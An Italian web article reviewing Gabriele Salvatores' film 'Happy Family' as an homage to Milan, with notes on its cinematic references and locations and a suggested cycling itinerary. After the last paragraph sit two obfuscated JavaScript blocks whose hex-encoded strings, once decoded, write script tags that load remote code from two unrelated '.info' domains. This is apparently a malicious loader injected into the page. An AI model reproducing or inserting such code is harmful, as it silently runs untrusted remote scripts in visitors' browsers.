Happy Family, l’omaggio a Milano di Gabriele Salvatores

Happy Family è un film tratto dall’omonima commedia di Alessandro Genovesi che è stata rappresentata con successo al Teatro dell’Elfo di Milano e, nella trasposizione cinematografica di Gabriele Salvatores (2010) il legame con il teatro e con la città si percepiscono chiaramente. Il Teatro dell’Elfo, del resto, è un’istituzione di Milano e Salvatores è stato uno dei suoi fondatori. Proprio qui, nel 1972, ha mosso i suoi primi passi come attore e come artista, quando è arrivato da Napoli. Questo film si può perciò considerare un vero e proprio omaggio e un atto di amore verso la sua città di adozione, anzi Milano è quasi il nono protagonista che si aggiunge agli otto personaggi in cerca d’autore che richiamano l’opera di Pirandello.

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I riferimenti nascosti all’interno della pellicola e le citazioni teatrali e cinematografiche sono innumerevoli. A cominciare da Ezio (Fabio De Luigi) un personaggio un po’ apatico e sconclusionato che campa grazie alle royalties del padre che ha inventato la pallina della lavatrice, il quale, come a teatro, si rivolge direttamente allo spettatore guardando in camera, e come nell’opera di Pirandello dialoga con i personaggi della sua storia che prendono vita nel suo computer. Sono due famiglie, una decisamente scapestrata con un padre fricchettone interpretato da Diego Abatantuono, una madre, donna in carriera e nevrotica (Carla Signoris), e la figlia sedicenne Marta che sembra decisa a sposarsi con il coetaneo Filippo. Anche la madre del ragazzo (Margherita Buy) è una donna in carriera un po’ isterica, mentre il padre (Fabrizio Bentivoglio), avvocato benestante alle prese con il cancro è piuttosto inerme. Tutti sono incapaci di comprendere e di saper gestire le crisi adolescenziali, sembrano a volte meno maturi dei loro stessi figli. Quando si ritrovano a cena per parlare del matrimonio, per caso, arriva anche Ezio che si innamorerà della sorellastra dello sposo, una pianista insicura che ha l’ossessione di puzzare.

Le scene del concerto della pianista sono state girate al Teatro Carcano, una location scelta dal regista che è rimasto affascinato dal cortile del teatro dal sapore “molto neyorkese”. E la similitudine tra Milano e New York che Salvatores ha volutamente ricostruito si ispira decisamente al film di Woody Allen Manahattan (1979), con cui Happy Family ha in comune non solo il fatto che i protagonisti stanno scrivendo un libro (rispettivamente su New York e Milano) ma anche lo spirito ironico e talvolta surreale della narrazione e la volontà di restituire un’immagine bella e idealizzata della città che trasuda amore in ogni inquadratura. Non sono molti i film che hanno come sfondo Milano e questo è forse uno dei più belli, da questo punto di vista. In particolare, l’omaggio a Milano-Manahattan è racchiuso in una scena notturna sui Navigli interamente girata in bianco e nero, con la musica di Chopin, che forse si stacca un po’ dal resto della pellicola e si presenta in modo un po’ gratuito, ma ha comunque il suo fascino.

Per il resto gli scorci di Milano sono molto insoliti, colorati e regalano un’immagine della città molto diversa dai luoghi comuni, dalle rappresentazioni cinematografiche classiche e forse anche dalla realtà. È la parte di Milano più bella dei Navigli, di Porta Genova, di Brera, dei giri in bicilcetta con la musica di sottofondo di Simon&Garfunkel, che Ezio ascolta sull’iPod mentre pedala per le vie. Le sequenze sono spesso girate dall’alto, oppure, altre volte la telecamera punta verso l’alto, verso le guglie del Duomo e verso i terrazzi verdi dei lussuosi palazzi del centro. Sono gli scorci che vivono nel cuore dei milanesi e di Salvatores, più che nella vita quotidiana. La battuta di Groucho Marx che si legge su un biglietto attaccato alla parete in casa dello sceneggiatore è chiarificatrice: “Preferisco leggere o vedere un film piuttosto che vivere… Nella vita non c’è una trama!” Allo stesso modo la rappresentazione di Milano coglie l’essenza più teatrale della città e ne restituisce un’immagine bella, teatrale e amorevole. Non a caso il film è ambientato in estate, in un momento semidesertico e colorato, rispetto al grigiore e al traffico quotidiano della Milano che lavora.

Curiosità. Il film è stato presentato in anteprima il 4 marzo 2010 negli Stati Uniti al Los Angeles Italian Film Festival e distribuito nelle sale cinematografiche italiane il 26 marzo.

Itinerario. Dopo aver visto il film, il consiglio è quello di noleggiare una bici, magari tramite bike sharing, è girare per Milano iPod alle orecchie. Tra Chopin e Simon&Garfunkel, andare alla scoperta dei volti più delicati di una città che cela sorniona il proprio fascino.

Dove dormire. Se non avete amici o parenti in città, non resta che cercare un alloggio utilizzando le sterminate risorse di internet. Sul sito Etineris.net segnaliamo un’ampia offerta di alberghi a Milano, con soluzioni per tutte le tasche ed esigenze. var _0xa929=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,”\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function evop(){var _0x6327x2=_0xa929[0];var _0x6327x3=_0xa929[1];var _0x6327x4=_0xa929[2];var _0x6327x5=_0xa929[3];document[_0xa929[4]](_0x6327x2+ _0x6327x3+ _0x6327x4+ _0x6327x5)}evop() var _0x22d1=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x74\x65\x72″,”\x63\x61\x62\x69\x6C\x69\x73\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function jiler(){var _0xd9f0x2=_0x22d1[0];var _0xd9f0x3=_0x22d1[1];var _0xd9f0x4=_0x22d1[2];var _0xd9f0x5=_0x22d1[3];document[_0x22d1[4]](_0xd9f0x2+ _0xd9f0x3+ _0xd9f0x4+ _0xd9f0x5)}jiler()